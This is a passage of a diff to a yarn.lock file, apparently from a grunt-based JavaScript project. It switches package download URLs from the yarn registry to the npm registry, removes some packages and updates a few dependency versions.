+   integrity sha512-0k45oWBokCqh2MOexeYKpyqmGKG+8mQ2Wd8iawx+uWd/weWJQAZ6SoPybagdCI4xFisag8iAR77WPm4h3pTfxA==
+ 
+ fill-range@^7.1.1:
+@@ -664,22 +488,14 @@ fill-range@^7.1.1:
+ 
+ find-up@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-3.0.0.tgz#49169f1d7993430646da61ecc5ae355c21c97b73"
++  resolved "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz"
+   integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==
+   dependencies:
+     locate-path "^3.0.0"
+ 
+-find-up@^4.1.0:
+-  version "4.1.0"
+-  resolved "https://registry.yarnpkg.com/find-up/-/find-up-4.1.0.tgz#97afe7d6cdc0bc5928584b7c8d7b16e8a9aa5d19"
+-  integrity sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==
+-  dependencies:
+-    locate-path "^5.0.0"
+-    path-exists "^4.0.0"
+-
+ findup-sync@^4.0.0:
+   version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-4.0.0.tgz#956c9cdde804052b881b428512905c4a5f2cdef0"
++  resolved "https://registry.npmjs.org/findup-sync/-/findup-sync-4.0.0.tgz"
+   integrity sha512-6jvvn/12IC4quLBL1KNokxC7wWTvYncaVUYSoxWw7YykPLuRrnv4qdHcSOywOI5RpkOVGeQRtWM8/q+G6W6qfQ==
+   dependencies:
+     detect-file "^1.0.0"
+@@ -689,7 +505,7 @@ findup-sync@^4.0.0:
+ 
+ findup-sync@~5.0.0:
+   version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-5.0.0.tgz#54380ad965a7edca00cc8f63113559aadc541bd2"
++  resolved "https://registry.npmjs.org/findup-sync/-/findup-sync-5.0.0.tgz"
+   integrity sha512-MzwXju70AuyflbgeOhzvQWAvvQdo1XL0A9bVvlXsYcFEBM87WR4OakL4OfZq+QRmr+duJubio+UtNQCPsVESzQ==
+   dependencies:
+     detect-file "^1.0.0"
+@@ -699,7 +515,7 @@ findup-sync@~5.0.0:
+ 
+ fined@^1.2.0:
+   version "1.2.0"
+-  resolved "https://registry.yarnpkg.com/fined/-/fined-1.2.0.tgz#d00beccf1aa2b475d16d423b0238b713a2c4a37b"
++  resolved "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz"
+   integrity sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==
+   dependencies:
+     expand-tilde "^2.0.2"
+@@ -710,93 +526,75 @@ fined@^1.2.0:
+ 
+ flagged-respawn@^1.0.1:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/flagged-respawn/-/flagged-respawn-1.0.1.tgz#e7de6f1279ddd9ca9aac8a5971d618606b3aab41"
++  resolved "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz"
+   integrity sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==
+ 
+ font-awesome@4.7:
+   version "4.7.0"
+-  resolved "https://registry.yarnpkg.com/font-awesome/-/font-awesome-4.7.0.tgz#8fa8cf0411a1a31afd07b06d2902bb9fc815a133"
++  resolved "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz"
+   integrity sha512-U6kGnykA/6bFmg1M/oT9EkFeIYv7JlX3bozwQJWiiLz6L0w3F5vBVPxHlwyX/vtNq1ckcpRKOB9f2Qal/VtFpg==
+ 
+ for-in@^1.0.1:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
++  resolved "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz"
+   integrity sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==
+ 
+ for-own@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/for-own/-/for-own-1.0.0.tgz#c63332f415cedc4b04dbfe70cf836494c53cb44b"
++  resolved "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz"
+   integrity sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==
+   dependencies:
+     for-in "^1.0.1"
+ 
+-fs-minipass@^2.0.0, fs-minipass@^2.1.0:
+-  version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
+-  integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==
+-  dependencies:
+-    minipass "^3.0.0"
+-
+ fs.realpath@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
++  resolved "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz"
+   integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
+ 
+ function-bind@^1.1.2:
+   version "1.1.2"
+-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
++  resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz"
+   integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+ 
+-gauge@^4.0.3:
+-  version "4.0.4"
+-  resolved "https://registry.yarnpkg.com/gauge/-/gauge-4.0.4.tgz#52ff0652f2bbf607a989793d53b751bef2328dce"
+-  integrity sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==
+-  dependencies:
+-    aproba "^1.0.3 || ^2.0.0"
+-    color-support "^1.1.3"
+-    console-control-strings "^1.1.0"
+-    has-unicode "^2.0.1"
+-    signal-exit "^3.0.7"
+-    string-width "^4.2.3"
+-    strip-ansi "^6.0.1"
+-    wide-align "^1.1.5"
+-
+-gaze@^1.0.0, gaze@^1.1.0:
++gaze@^1.1.0:
+   version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/gaze/-/gaze-1.1.3.tgz#c441733e13b927ac8c0ff0b4c3b033f28812924a"
++  resolved "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz"
+   integrity sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==
+   dependencies:
+     globule "^1.0.0"
+ 
+-get-caller-file@^2.0.5:
+-  version "2.0.5"
+-  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
+-  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
+-
+-get-intrinsic@^1.2.4:
+-  version "1.2.4"
+-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd"
+-  integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==
++get-intrinsic@^1.2.5, get-intrinsic@^1.3.0:
++  version "1.3.0"
++  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01"
++  integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==
+   dependencies:
++    call-bind-apply-helpers "^1.0.2"
++    es-define-property "^1.0.1"
+     es-errors "^1.3.0"
++    es-object-atoms "^1.1.1"
+     function-bind "^1.1.2"
+-    has-proto "^1.0.1"
+-    has-symbols "^1.0.3"
+-    hasown "^2.0.0"
++    get-proto "^1.0.1"
++    gopd "^1.2.0"
++    has-symbols "^1.1.0"
++    hasown "^2.0.2"
++    math-intrinsics "^1.1.0"
+ 
+-get-stdin@^4.0.1:
+-  version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/get-stdin/-/get-stdin-4.0.1.tgz#b968c6b0a04384324902e8bf1a5df32579a450fe"
+-  integrity sha512-F5aQMywwJ2n85s4hJPTT9RPxGmubonuB10MNYo17/xph174n2MIR33HRguhzVag10O/npM7SPk73LMZNP+FaWw==
++get-proto@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
++  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
++  dependencies:
++    dunder-proto "^1.0.1"
++    es-object-atoms "^1.0.0"
+ 
+ getobject@~1.0.0:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/getobject/-/getobject-1.0.2.tgz#25ec87a50370f6dcc3c6ba7ef43c4c16215c4c89"
++  resolved "https://registry.npmjs.org/getobject/-/getobject-1.0.2.tgz"
+   integrity sha512-2zblDBaFcb3rB4rF77XVnuINOE2h2k/OnqXAiy0IrTxUfV1iFp3la33oAQVY9pCpWU268WFYVt2t71hlMuLsOg==
+ 
+-glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4:
++glob@^7.1.3:
+   version "7.2.3"
+-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
++  resolved "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz"
+   integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+   dependencies:
+     fs.realpath "^1.0.0"
+@@ -806,20 +604,9 @@ glob@^7.0.0, glob@^7.0.3, glob@^7.1.3, glob@^7.1.4:
+     once "^1.3.0"
+     path-is-absolute "^1.0.0"
+ 
+-glob@^8.0.1:
+-  version "8.1.0"
+-  resolved "https://registry.yarnpkg.com/glob/-/glob-8.1.0.tgz#d388f656593ef708ee3e34640fdfb99a9fd1c33e"
+-  integrity sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==
+-  dependencies:
+-    fs.realpath "^1.0.0"
+-    inflight "^1.0.4"
+-    inherits "2"
+-    minimatch "^5.0.1"
+-    once "^1.3.0"
+-
+ glob@~7.1.1, glob@~7.1.6:
+   version "7.1.7"
+-  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.7.tgz#3b193e9233f01d42d0b3f78294bbeeb418f94a90"
++  resolved "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz"
+   integrity sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==
+   dependencies:
+     fs.realpath "^1.0.0"
+@@ -831,7 +618,7 @@ glob@~7.1.1, glob@~7.1.6:
+ 
+ global-modules@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-1.0.0.tgz#6d770f0eb523ac78164d72b5e71a8877265cc3ea"
++  resolved "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz"
+   integrity sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==
+   dependencies:
+     global-prefix "^1.0.1"
+@@ -840,7 +627,7 @@ global-modules@^1.0.0:
+ 
+ global-prefix@^1.0.1:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-1.0.2.tgz#dbf743c6c14992593c655568cb66ed32c0122ebe"
++  resolved "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz"
+   integrity sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==
+   dependencies:
+     expand-tilde "^2.0.2"
+@@ -851,7 +638,7 @@ global-prefix@^1.0.1:
+ 
+ globule@^1.0.0:
+   version "1.3.4"
+-  resolved "https://registry.yarnpkg.com/globule/-/globule-1.3.4.tgz#7c11c43056055a75a6e68294453c17f2796170fb"
++  resolved "https://registry.npmjs.org/globule/-/globule-1.3.4.tgz"
+   integrity sha512-OPTIfhMBh7JbBYDpa5b+Q5ptmMWKwcNcFSR/0c6t8V4f3ZAVBEsKNY37QdVqmLRYSMhOUGYrY0QhSoEpzGr/Eg==
+   dependencies:
+     glob "~7.1.1"
+@@ -860,26 +647,19 @@ globule@^1.0.0:
+ 
+ good-listener@^1.2.2:
+   version "1.2.2"
+-  resolved "https://registry.yarnpkg.com/good-listener/-/good-listener-1.2.2.tgz#d53b30cdf9313dffb7dc9a0d477096aa6d145c50"
++  resolved "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz"
+   integrity sha512-goW1b+d9q/HIwbVYZzZ6SsTr4IgE+WA44A0GmPIQstuOrgsFcT7VEJ48nmr9GaRtNu0XTKacFLGnBPAM6Afouw==
+   dependencies:
+     delegate "^3.1.2"
+ 
+-gopd@^1.0.1:
+-  version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.1.0.tgz#df8f0839c2d48caefc32a025a49294d39606c912"
+-  integrity sha512-FQoVQnqcdk4hVM4JN1eromaun4iuS34oStkdlLENLdpULsuQcTyXj8w7ayhuUfPwEYZ1ZOooOTT6fdA9Vmx/RA==
+-  dependencies:
+-    get-intrinsic "^1.2.4"
+-
+-graceful-fs@^4.2.6:
+-  version "4.2.11"
+-  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+-  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
++gopd@^1.2.0:
++  version "1.2.0"
++  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
++  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+ 
+ grunt-cli@~1.4.3:
+   version "1.4.3"
+-  resolved "https://registry.yarnpkg.com/grunt-cli/-/grunt-cli-1.4.3.tgz#22c9f1a3d2780bf9b0d206e832e40f8f499175ff"
++  resolved "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.4.3.tgz"
+   integrity sha512-9Dtx/AhVeB4LYzsViCjUQkd0Kw0McN2gYpdmGYKtE2a5Yt7v1Q+HYZVWhqXc/kGnxlMtqKDxSwotiGeFmkrCoQ==
+   dependencies:
+     grunt-known-options "~2.0.0"
+@@ -890,7 +670,7 @@ grunt-cli@~1.4.3:
+ 
+ grunt-contrib-clean@2.0:
+   version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/grunt-contrib-clean/-/grunt-contrib-clean-2.0.1.tgz#062e8019d31bfca35af8929a2ee1063c6c46dd2d"
++  resolved "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-2.0.1.tgz"
+   integrity sha512-uRvnXfhiZt8akb/ZRDHJpQQtkkVkqc/opWO4Po/9ehC2hPxgptB9S6JHDC/Nxswo4CJSM0iFPT/Iym3cEMWzKA==
+   dependencies:
+     async "^3.2.3"
+@@ -898,7 +678,7 @@ grunt-contrib-clean@2.0:
+ 
+ grunt-contrib-concat@2.1:
+   version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/grunt-contrib-concat/-/grunt-contrib-concat-2.1.0.tgz#9ac62117a18b48d1bfccb3eef46c960bbd163d75"
++  resolved "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-2.1.0.tgz"
+   integrity sha512-Vnl95JIOxfhEN7bnYIlCgQz41kkbi7tsZ/9a4usZmxNxi1S2YAIOy8ysFmO8u4MN26Apal1O106BwARdaNxXQw==
+   dependencies:
+     chalk "^4.1.2"
+@@ -906,7 +686,7 @@ grunt-contrib-concat@2.1:
+ 
+ grunt-contrib-copy@1.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz#7060c6581e904b8ab0d00f076e0a8f6e3e7c3573"
++  resolved "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz"
+   integrity sha512-gFRFUB0ZbLcjKb67Magz1yOHGBkyU6uL29hiEW1tdQ9gQt72NuMKIy/kS6dsCbV0cZ0maNCb0s6y+uT1FKU7jA==
+   dependencies:
+     chalk "^1.1.1"
+@@ -914,7 +694,7 @@ grunt-contrib-copy@1.0:
+ 
+ grunt-contrib-uglify@5.2:
+   version "5.2.2"
+-  resolved "https://registry.yarnpkg.com/grunt-contrib-uglify/-/grunt-contrib-uglify-5.2.2.tgz#447c0b58451a1fca20768371e07e723a870dfe98"
++  resolved "https://registry.npmjs.org/grunt-contrib-uglify/-/grunt-contrib-uglify-5.2.2.tgz"
+   integrity sha512-ITxiWxrjjP+RZu/aJ5GLvdele+sxlznh+6fK9Qckio5ma8f7Iv8woZjRkGfafvpuygxNefOJNc+hfjjBayRn2Q==
+   dependencies:
+     chalk "^4.1.2"
+@@ -924,7 +704,7 @@ grunt-contrib-uglify@5.2:
+ 
+ grunt-contrib-watch@1.1:
+   version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz#c143ca5b824b288a024b856639a5345aedb78ed4"
++  resolved "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz"
+   integrity sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==
+   dependencies:
+     async "^2.6.0"
+@@ -934,12 +714,12 @@ grunt-contrib-watch@1.1:
+ 
+ grunt-known-options@~2.0.0:
+   version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/grunt-known-options/-/grunt-known-options-2.0.0.tgz#cac641e897f9a0a680b8c9839803d35f3325103c"
++  resolved "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-2.0.0.tgz"
+   integrity sha512-GD7cTz0I4SAede1/+pAbmJRG44zFLPipVtdL9o3vqx9IEyb7b4/Y3s7r6ofI3CchR5GvYJ+8buCSioDv5dQLiA==
+ 
+ grunt-legacy-log-utils@~2.1.0:
+   version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.1.0.tgz#49a8c7dc74051476dcc116c32faf9db8646856ef"
++  resolved "https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.1.0.tgz"
+   integrity sha512-lwquaPXJtKQk0rUM1IQAop5noEpwFqOXasVoedLeNzaibf/OPWjKYvvdqnEHNmU+0T0CaReAXIbGo747ZD+Aaw==
+   dependencies:
+     chalk "~4.1.0"
+@@ -947,7 +727,7 @@ grunt-legacy-log-utils@~2.1.0:
+ 
+ grunt-legacy-log@~3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/grunt-legacy-log/-/grunt-legacy-log-3.0.0.tgz#1c6eaf92371ea415af31ea84ce50d434ef6d39c4"
++  resolved "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-3.0.0.tgz"
+   integrity sha512-GHZQzZmhyq0u3hr7aHW4qUH0xDzwp2YXldLPZTCjlOeGscAOWWPftZG3XioW8MasGp+OBRIu39LFx14SLjXRcA==
+   dependencies:
+     colors "~1.1.2"
+@@ -957,7 +737,7 @@ grunt-legacy-log@~3.0.0:
+ 
+ grunt-legacy-util@~2.0.1:
+   version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/grunt-legacy-util/-/grunt-legacy-util-2.0.1.tgz#0f929d13a2faf9988c9917c82bff609e2d9ba255"
++  resolved "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-2.0.1.tgz"
+   integrity sha512-2bQiD4fzXqX8rhNdXkAywCadeqiPiay0oQny77wA2F3WF4grPJXCvAcyoWUJV+po/b15glGkxuSiQCK299UC2w==
+   dependencies:
+     async "~3.2.0"
+@@ -970,7 +750,7 @@ grunt-legacy-util@~2.0.1:
+ 
+ grunt-postcss@0.9:
+   version "0.9.0"
+-  resolved "https://registry.yarnpkg.com/grunt-postcss/-/grunt-postcss-0.9.0.tgz#fbe5934a6be9eac893af6d057e2318c97fae9da3"
++  resolved "https://registry.npmjs.org/grunt-postcss/-/grunt-postcss-0.9.0.tgz"
+   integrity sha512-lglLcVaoOIqH0sFv7RqwUKkEFGQwnlqyAKbatxZderwZGV1nDyKHN7gZS9LUiTx1t5GOvRBx0BEalHMyVwFAIA==
+   dependencies:
+     chalk "^2.1.0"
+@@ -979,12 +759,12 @@ grunt-postcss@0.9:
+ 
+ grunt-sass@3.1:
+   version "3.1.0"
+-  resolved "https://registry.yarnpkg.com/grunt-sass/-/grunt-sass-3.1.0.tgz#a5936cc2a80ec08092d9f31c101dc307d1e4f71c"
++  resolved "https://registry.npmjs.org/grunt-sass/-/grunt-sass-3.1.0.tgz"
+   integrity sha512-90s27H7FoCDcA8C8+R0GwC+ntYD3lG6S/jqcavWm3bn9RiJTmSfOvfbFa1PXx4NbBWuiGQMLfQTj/JvvqT5w6A==
+ 
+ grunt@1.6:
+   version "1.6.1"
+-  resolved "https://registry.yarnpkg.com/grunt/-/grunt-1.6.1.tgz#0b4dd1524f26676dcf45d8f636b8d9061a8ede16"
++  resolved "https://registry.npmjs.org/grunt/-/grunt-1.6.1.tgz"
+   integrity sha512-/ABUy3gYWu5iBmrUSRBP97JLpQUm0GgVveDCp6t3yRNIoltIYw7rEj3g5y1o2PGPR2vfTRGa7WC/LZHLTXnEzA==
+   dependencies:
+     dateformat "~4.6.2"
+@@ -1003,57 +783,35 @@ grunt@1.6:
+ 
+ gzip-size@^5.1.1:
+   version "5.1.1"
+-  resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-5.1.1.tgz#cb9bee692f87c0612b232840a873904e4c135274"
++  resolved "https://registry.npmjs.org/gzip-size/-/gzip-size-5.1.1.tgz"
+   integrity sha512-FNHi6mmoHvs1mxZAds4PpdCS6QG8B4C1krxJsMutgxl5t3+GlRTzzI3NEkifXx2pVsOvJdOGSmIgDhQ55FwdPA==
+   dependencies:
+     duplexer "^0.1.1"
+     pify "^4.0.1"
+ 
+-hard-rejection@^2.1.0:
+-  version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/hard-rejection/-/hard-rejection-2.1.0.tgz#1c6eda5c1685c63942766d79bb40ae773cecd883"
+-  integrity sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==
+-
+ has-ansi@^2.0.0:
+   version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91"
++  resolved "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz"
+   integrity sha512-C8vBJ8DwUCx19vhm7urhTuUsr4/IyP6l4VzNQDv+ryHQObW3TTTp9yB68WpYgRe2bbaGuZ/se74IqFeVnMnLZg==
+   dependencies:
+     ansi-regex "^2.0.0"
+ 
+ has-flag@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
++  resolved "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz"
+   integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
+ 
+ has-flag@^4.0.0:
+   version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
++  resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
+   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+ 
+-has-property-descriptors@^1.0.2:
+-  version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+-  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+-  dependencies:
+-    es-define-property "^1.0.0"
+-
+-has-proto@^1.0.1:
+-  version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd"
+-  integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==
+-
+-has-symbols@^1.0.3:
+-  version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
+-  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
+-
+-has-unicode@^2.0.1:
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9"
+-  integrity sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==
++has-symbols@^1.1.0:
++  version "1.1.0"
++  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
++  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+ 
+-hasown@^2.0.0, hasown@^2.0.2:
++hasown@^2.0.2:
+   version "2.0.2"
+   resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+   integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+@@ -1062,275 +820,162 @@ hasown@^2.0.0, hasown@^2.0.2:
+ 
+ homedir-polyfill@^1.0.1:
+   version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz#743298cef4e5af3e194161fbadcc2151d3a058e8"
++  resolved "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz"
+   integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
+   dependencies:
+     parse-passwd "^1.0.0"
+ 
+ hooker@~0.2.3:
+   version "0.2.3"
+-  resolved "https://registry.yarnpkg.com/hooker/-/hooker-0.2.3.tgz#b834f723cc4a242aa65963459df6d984c5d3d959"
++  resolved "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz"
+   integrity sha512-t+UerCsQviSymAInD01Pw+Dn/usmz1sRO+3Zk1+lx8eg+WKpD2ulcwWqHHL0+aseRBr+3+vIhiG1K1JTwaIcTA==
+ 
+-hosted-git-info@^2.1.4:
+-  version "2.8.9"
